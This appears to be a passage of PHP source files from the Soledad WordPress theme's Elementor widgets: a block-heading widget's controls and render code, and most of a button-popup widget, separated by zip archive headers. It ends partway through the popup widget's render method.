				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$repeater = new \Elementor\Repeater();

		$this->add_control(
			'group_more_link_text',
			array(
				'label'   => __( 'More Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'More',
			)
		);

		$this->add_responsive_control(
			'group_more_link_items',
			array(
				'label'          => __( 'Maxium Items Display', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 5 ),
				'tablet_default' => array( 'size' => 4 ),
				'mobile_default' => array( 'size' => 2 ),
				'range'          => array(
					'px' => array(
						'min'  => 1,
						'max'  => 10,
						'step' => 1,
					),
				),
			)
		);

		$repeater->add_control(
			'group_link_title',
			array(
				'label' => __( 'Link Title', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'group_link_url',
			array(
				'label' => __( 'Link URL', 'soledad' ),
				'type'  => Controls_Manager::URL,
			)
		);
		$this->add_control(
			'link_items',
			array(
				'type'   => Controls_Manager::REPEATER,
				'fields' => $repeater->get_controls(),
			)
		);
		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_padding_general',
			array(
				'label'     => __( 'Spacing', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => array(
					'heading_title_style!' => array(
						'style-7',
						'style-10',
						'style-12',
						'style-13',
						'style-16',
					),
				),
			)
		);

		$this->add_responsive_control(
			'bht_padding',
			array(
				'label'      => __( 'Block Heading Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'condition'  => array(
					'heading_title_style!' => array(
						'style-7',
						'style-10',
						'style-12',
						'style-13',
						'style-16',
					),
				),
				'selectors'  => array( '{{WRAPPER}} .penci-homepage-title .inner-arrow' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

		$this->start_controls_section(
			'section_extrabtn_general',
			array(
				'label' => __( 'Extra Button Link', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'btn_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow .pcbh-extrabtn' => 'color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_control(
			'btn_text_hcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow a.pcbh-extrabtn:hover' => 'color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_control(
			'btn_line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'btn_style' => 'underline' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow .pcbh-btns-underline:after' => 'background-color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_control(
			'btn_line_hcolor',
			array(
				'label'     => __( 'Line Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'btn_style' => 'underline' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow a.pcbh-btns-underline:hover:after' => 'background-color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'btn_typo',
				'label'    => __( 'Block Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow a.pcbh-extrabtn',
			)
		);

		$this->end_controls_section();

		$this->register_block_heading_link_section_style( 'Extra Links Group' );

	}

	protected function render() {
		$r = $this->get_settings();

		if ( ! $r['heading'] ) {
			return;
		}

		$link_group     = $r['link_items'];
		$link_group_out = '';

		if ( ! empty( $link_group ) ) {
			$link_group_out .= '<nav data-more="' . esc_attr( $r['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$count           = 0;
			foreach ( $link_group as $link ) {

				$element_id = 'link-wrapper-' . $count;

				if ( ! empty( $link['group_link_url']['url'] ) ) {
					$this->add_render_attribute( $element_id, 'href', $link['group_link_url']['url'] );
					if ( ! empty( $link['group_link_url']['is_external'] ) ) {
						$this->add_render_attribute( $element_id, 'target', '_blank' );
					}
					if ( $link['group_link_url']['nofollow'] ) {
						$this->add_render_attribute( $element_id, 'rel', 'nofollow' );
					}
				}

				$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . $link['group_link_title'] . '</a></li>';

				$count ++;
			}
			$link_group_out .= '</ul></nav>';
		}

		$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';

		if ( $r['heading_title_style'] ) {
			$heading_title = $r['heading_title_style'];
		}

		if ( $r['block_title_align'] ) {
			$heading_align = 'pcalign-' . $r['block_title_align'];
		}

		$heading_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$heading_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		if ( $r['heading_icon_pos'] ) {
			$heading_icon_pos = $r['heading_icon_pos'];
		}

		if ( $r['heading_icon'] ) {
			$heading_icon_design = $r['heading_icon'];
		}

		$classes  = 'penciel-bheading penci-border-arrow penci-homepage-title penci-home-latest-posts';
		$classes .= ' ' . $heading_title;
		$classes .= ' ' . $heading_align;
		$classes .= ' ' . $heading_icon_pos;
		$classes .= ' ' . $heading_icon_design;
		$classes .= $r['block_title_ialign'] ? ' block-title-icon-' . $r['block_title_ialign'] : ' block-title-icon-left';
		
		
		$btn_extra_class = $r['btn_text'] && $r['btn_pos_lr'] ? $r['btn_pos_lr'] : '';
		$btn_extra_class = $btn_extra_class == $r['block_title_align'] ? '' : $btn_extra_class;

		$classes .= $btn_extra_class ? ' block-tbtnpos-' . $btn_extra_class : '';
		$extra_btn_html    = $btn_classes = '';
		$btn_pos           = isset( $r['btn_pos'] ) ? $r['btn_pos'] : 'right';
		$btn_ipos          = isset( $r['btn_iconpos'] ) ? $r['btn_iconpos'] : 'right';
		$class_hide_mobile = 'yes' == $r['btn_hidemobile'] ? ' pcbtn-etrhm' : '';
		if ( $r['btn_text'] ) {
			ob_start();
			$btn_style   = isset( $r['btn_style'] ) ? $r['btn_style'] : '';
			$btn_classes = 'pcbh-extrabtn pcbh-btns-' . $btn_style . ' pcbh-btnp-' . $btn_pos . ' pcbh-btni-' . $btn_ipos . $class_hide_mobile;
			if ( $r['btn_url']['url'] ) {
				$btntarget   = $r['btn_url']['is_external'] ? ' target="_blank"' : '';
				$btnnofollow = $r['btn_url']['nofollow'] ? ' rel="nofollow"' : '';
				echo '<a class="' . $btn_classes . '"' . $btntarget . $btnnofollow . ' href="' . $r['btn_url']['url'] . '">';
			} else {
				echo '<span class="' . $btn_classes . '">';
			}

			if ( $r['btn_addicon'] && $r['btn_icon'] && 'left' == $r['btn_iconpos'] ) {
				\Elementor\Icons_Manager::render_icon( $r['btn_icon'] );
			}
			echo do_shortcode( $r['btn_text'] );
			if ( $r['btn_addicon'] && $r['btn_icon'] && 'right' == $r['btn_iconpos'] ) {
				\Elementor\Icons_Manager::render_icon( $r['btn_icon'] );
			}
			if ( $r['btn_url']['url'] ) {
				echo '</a>';
			} else {
				echo '</span>';
			}
			$extra_btn_html = ob_get_contents();
			ob_end_clean();
		}
		$htag = isset( $r['heading_title_html_tag'] ) && $r['heading_title_html_tag'] ? $r['heading_title_html_tag'] : 'h3';
		?>
		<div class="<?php echo esc_attr( $classes ); ?>">
			<<?php echo $htag;?> class="inner-arrow">
				<span>
				<?php
				if ( 'left' == $btn_pos && $extra_btn_html ) {
					echo $extra_btn_html;
				}

				if ( $r['heading_title_link']['url'] ) {
					$target   = $r['btn_url']['is_external'] ? ' target="_blank"' : '';
					$nofollow = $r['btn_url']['nofollow'] ? ' rel="nofollow"' : '';

					echo '<a href="' . $r['heading_title_link']['url'] . '"' . $target . $nofollow . '>';
				} else {
					echo '<span>';
				}

				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				echo do_shortcode( $r['heading'] );
				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				if ( $r['heading_title_link']['url'] ) {
					echo '</a>';
				} else {
					echo '</span>';
				}

				if ( 'right' == $btn_pos && $extra_btn_html ) {
					echo $extra_btn_html;
				}
				?>
				</span>
			</<?php echo $htag;?>>
			<?php
			if ( $link_group_out ) {
				echo $link_group_out;
			}
			?>
		</div>
		<?php
	}
}
PK     N\Cg  g  3  inc/elementor/modules/penci-button-popup/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciButtonPopup;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-button-popup';
	}

	public function get_widgets() {
		return array( 'PenciButtonPopup' );
	}
}
PK     N\S^  ^  G  inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciButtonPopup\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Text_Shadow;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciButtonPopup extends Base_Widget {

	public function get_name() {
		return 'penci-button-popup';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button Popup', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-button';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'button', 'click', 'penci', 'soledad' );
	}

	public function get_script_depends() {
		return array( 'penci-button-popup' );
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'text', array(
			'label'       => __( 'Button Text', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => __( 'Click Here', 'soledad' ),
			'placeholder' => __( 'Add Button Text Here', 'soledad' ),
		) );

		$this->add_responsive_control( 'align', array(
			'label'   => __( 'Alignment', 'elementor' ),
			'type'    => Controls_Manager::CHOOSE,
			'options' => array(
				'left'    => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center'  => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'   => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				),
				'justify' => array(
					'title' => __( 'Full', 'elementor' ),
					'icon'  => 'eicon-text-align-justify',
				),
			),
			'default' => '',
		) );

		$this->add_responsive_control( 'button_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbtn-wrapperin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'button_radius', array(
			'label'      => __( 'Button Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before, {{WRAPPER}} .pcbtn-wrapper a.pcbtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow:hidden;'
			),
			'condition'  => array( 'border_style!' => 'gradient' ),
		) );

		$this->add_control( 'add_borders', array(
			'label'     => __( 'Add Borders to Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );

		$this->add_control( 'border_style', array(
			'label'     => __( 'Borders Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''         => 'Solid',
				'dotted'   => 'Dotted',
				'dashed'   => 'Dashed',
				'double'   => 'Double',
				'groove'   => 'Groove',
				'ridge'    => 'Ridge',
				'inset'    => 'Inset',
				'outset'   => 'Outset',
				'gradient' => 'Gradient',
			),
			'default'   => '',
			'condition' => array( 'add_borders' => 'yes' ),
		) );

		$this->add_responsive_control( 'border_width', array(
			'label'      => __( 'Custom Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
			'condition'  => array( 'add_borders' => 'yes' ),
		) );

		$this->add_control( 'add_icon', array(
			'label'     => __( 'Add Icon to Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );

		$this->add_control( 'button_icon', array(
			'label'     => esc_html__( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'default'   => array(
				'value'   => 'fas fa-star',
				'library' => 'solid',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'icon_pos', array(
			'label'     => __( 'Icon Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'left'  => 'Before',
				'right' => 'After',
			),
			'default'   => 'left',
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_responsive_control( 'icon_space', array(
			'label'     => __( 'Icon Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbtn-icon-left span span i, {{WRAPPER}} .pcbtn-icon-left span span svg'   => 'margin-right: {{SIZE}}px;',
				'{{WRAPPER}} .pcbtn-icon-right span span i, {{WRAPPER}} .pcbtn-icon-right span span svg' => 'margin-left: {{SIZE}}px;',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		// Subtext
		$this->add_control( 'add_subtext', array(
			'label'     => __( 'Add Subtext?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );
		$this->add_control( 'subtext', array(
			'label'       => __( 'SubText', 'soledad' ),
			'type'        => Controls_Manager::TEXTAREA,
			'default'     => __( 'Example Subtext', 'soledad' ),
			'placeholder' => __( 'Add Your SubText Here', 'soledad' ),
			'label_block' => true,
			'condition'   => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_responsive_control( 'subtext_align', array(
			'label'     => __( 'Text & Subtext Alignment', 'elementor' ),
			'type'      => Controls_Manager::CHOOSE,
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				)
			),
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbtn-wrapperin' => 'text-align: {{VALUE}};',
			),
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_responsive_control( 'subtext_margin', array(
			'label'      => __( 'Subtext Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em', '%' ),
			'default'    => array(
				'top'      => '',
				'right'    => '',
				'bottom'   => '',
				'left'     => '',
				'unit'     => 'px',
				'isLinked' => false,
			),
			'selectors'  => array(
				'{{WRAPPER}} span.pcbtn-subtext' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_control( 'button_id', array(
			'label'       => __( 'Button ID', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => '',
			'title'       => __( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'soledad' ),
			'description' => __( 'Please make sure the ID is unique and not used elsewhere on the page this form is displayed. This field allows <code>A-z 0-9</code> & underscore chars without spaces.', 'soledad' ),
			'separator'   => 'before',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_popup_content', array(
			'label' => esc_html__( 'Popup Content', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'popup_cstyle', array(
			'label'   => __( 'Popup Content Style:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'text',
			'options' => [
				'text'  => 'Custom Text/HTML',
				'block' => 'Penci Block',
			]
		) );

		$this->add_control( 'popup_content', array(
			'label'     => __( 'Popup Content:', 'soledad' ),
			'type'      => Controls_Manager::WYSIWYG,
			'default'   => '',
			'condition' => array( 'popup_cstyle' => array( 'text' ) ),
		) );

		$this->add_control( 'popup_block', array(
			'label'     => __( 'Popup Block:', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => penci_builder_block_list(),
			'condition' => array( 'popup_cstyle' => array( 'block' ) ),
		) );

		$this->add_responsive_control( 'popup_width', array(
			'label'     => __( 'Popup Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 200, 'max' => 2000, ) ),
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'max-width: {{SIZE}}px'
			]
		) );

		$this->add_responsive_control( 'popup_height', array(
			'label'     => __( 'Popup Height', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 200, 'max' => 2000, ) ),
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'min-height: {{SIZE}}px'
			]
		) );

		$this->add_control( 'popup_position', array(
			'label'   => __( 'Popup Postion:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'middle-center',
			'options' => [
				'top-left'      => 'Top Left',
				'top-center'    => 'Top Center',
				'top-right'     => 'Top Right',
				'middle-left'   => 'Middle Left',
				'middle-center' => 'Middle Center',
				'middle-right'  => 'Middle Right',
				'bottom-left'   => 'Bottom Left',
				'bottom-center' => 'Bottom Center',
				'bottom-right'  => 'Bottom Right',
			]
		) );

		$this->add_control( 'popup_anityle', array(
			'label'   => __( 'Popup Open Animation Style:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'move-to-top',
			'options' => [
				'move-to-left'   => 'Move To Left',
				'move-to-right'  => 'Move To Right',
				'move-to-top'    => 'Move To Top',
				'move-to-bottom' => 'Move To Bottom',
				'fadein'         => 'Fade In',
				'zoomin'         => 'Zoom In',
			]
		) );

		$this->end_controls_section();

		// Design
		$this->start_controls_section( 'section_design_content', array(
			'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Button', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'button_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} span.pcbtn-content',
		) );

		$this->add_group_control( Group_Control_Text_Shadow::get_type(), array(
			'name'     => 'button_tshadow',
			'label'    => __( 'Text Shadow', 'soledad' ),
			'selector' => '{{WRAPPER}} span.pcbtn-content',
		) );

		$this->add_responsive_control( 'icon_size', array(
			'label'     => __( 'Icon Font Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}}  span.pcbtn-content i'   => 'font-size: {{SIZE}}px;',
				'{{WRAPPER}}  span.pcbtn-content svg' => 'width: {{SIZE}}px;',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'subtext_heading', array(
			'label'     => __( 'Subtext', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'subtext_typo',
			'label'     => __( 'SubText Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Text_Shadow::get_type(), array(
			'name'      => 'button_subtshadow',
			'label'     => __( 'Text Shadow', 'soledad' ),
			'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->start_controls_tabs( 'style_tabs' );

		$this->start_controls_tab( 'style_normal_tab', array(
			'label' => __( 'Normal', 'soledad' ),
		) );

		$this->add_control( 'btcolor', array(
			'label'     => __( 'Button Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} span.pcbtn-content' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'iconcolor', array(
			'label'     => __( 'Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} span.pcbtn-content i'   => 'color: {{VALUE}};',
				'{{WRAPPER}} span.pcbtn-content svg' => 'fill: {{VALUE}};',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'subcolor', array(
			'label'     => __( 'Subtext Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} span.pcbtn-subtext' => 'color: {{VALUE}};' ),
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'        => 'btbg',
			'label'       => __( 'Button Background', 'soledad' ),
			'types'       => array( 'classic', 'gradient' ),
			'selector'    => '{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn',
			'label_block' => true,
			'separator'   => 'before'
		) );

		$this->add_control( 'border_cl', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'add_borders' => 'yes' ),
			'separator' => 'before'
		) );

		$this->add_control( 'sborder_cl', array(
			'label'     => __( 'Second Borders Color( Gradient Borders )', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-image: linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
			'condition' => array( 'add_borders' => 'yes', 'border_style' => 'gradient' ),
		) );

		$this->add_group_control( Group_Control_Box_Shadow::get_type(), array(
			'name'      => 'box_shadow',
			'label'     => __( 'Box Shadow', 'soledad' ),
			'selector'  => '{{WRAPPER}} a.pcbtn',
			'separator' => 'before'
		) );

		$this->end_controls_tab();

		$this->start_controls_tab( 'style_hover_tab', array(
			'label' => __( 'Hover', 'soledad' ),
		) );

		$this->add_control( 'bthcolor', array(
			'label'     => __( 'Button Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-content' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'iconhcolor', array(
			'label'     => __( 'Icon Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content i'   => 'color: {{VALUE}};',
				'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content svg' => 'fill: {{VALUE}};',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'subhcolor', array(
			'label'     => __( 'Subtext Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-subtext' => 'color: {{VALUE}};' ),
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'        => 'bthbg',
			'label'       => __( 'Button Hover Background', 'soledad' ),
			'types'       => array( 'classic', 'gradient' ),
			'selector'    => '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before',
			'label_block' => true,
			'separator'   => 'before'
		) );

		$this->add_control( 'border_hcl', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'add_borders' => 'yes' ),
			'separator' => 'before'
		) );

		$this->add_control( 'sborder_hcl', array(
			'label'     => __( 'Second Borders Hover Color( Gradient Borders )', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-image: linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
			'condition' => array( 'add_borders' => 'yes', 'border_style' => 'gradient' ),
		) );

		$this->add_control( 'hover_animation', array(
			'label' => esc_html__( 'Hover Animation', 'soledad' ),
			'type'  => Controls_Manager::HOVER_ANIMATION,
		) );

		$this->add_group_control( Group_Control_Box_Shadow::get_type(), array(
			'name'      => 'hbox_shadow',
			'label'     => __( 'Box Shadow on Hover', 'soledad' ),
			'selector'  => '{{WRAPPER}} a.pcbtn:hover',
			'separator' => 'before'
		) );

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_popup', array(
			'label' => __( 'Popup Design', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'btn_popup_de', array(
			'label'      => __( 'Popup Content Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px', '%' ],
			'selectors'  => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			]
		) );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'     => 'btn_popup_bg',
			'label'    => __( 'Background Settings', 'soledad' ),
			'types'    => [ 'classic', 'gradient', 'video' ],
			'selector' => '#penci-btn-popup-{{ID}}.button-popup-content'
		) );

		$this->add_control( 'btn_popup_cl', array(
			'label'     => __( 'Content Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'color:{{VALUE}}'
			]
		) );

		$this->add_control( 'btn_popup_close_cl', array(
			'label'     => __( 'Close Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content .mfp-close' => 'color:{{VALUE}}'
			]
		) );

		$this->add_responsive_control( 'btn_popup_close_close_size', array(
			'label'     => __( 'Close Button Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 10, 'max' => 2000, ) ),
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content .mfp-close' => 'font-size:{{SIZE}}px'
			]
		) );

		$this->add_control( 'overlay_popup_bg', array(
			'label'     => __( 'Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [
				'.mfp-bg.penci-pps-{{ID}}' => 'background-color:{{VALUE}}'
			]
		) );

		$this->add_control( 'overlay_opacity', array(
			'label'      => __( 'Overlay Background Opacity', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'step' => 0.01,
					'max'  => 1,
				],
			],
			'selectors'  => [
				'.mfp-ani-wrap.mfp-ready.mfp-bg.penci-pps-{{ID}}' => 'opacity:{{SIZE}}'
			]
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$settings       = $this->get_settings_for_display();
		$text           = $settings['text'] ? $settings['text'] : '';
		$link           = '';
		$button_id_attr = '';
		$button_id      = $settings['button_id'] ? $settings['button_id'] : '';
		if ( $button_id ) {
			$button_id      = str_replace( ' ', '', $button_id );
			$button_id_attr = ' id="' . $button_id . '"';
		}
		$add_icon     = $settings['add_icon'] ? $settings['add_icon'] : '';
		$add_borders  = $settings['add_borders'] ? $settings['add_borders'] : '';
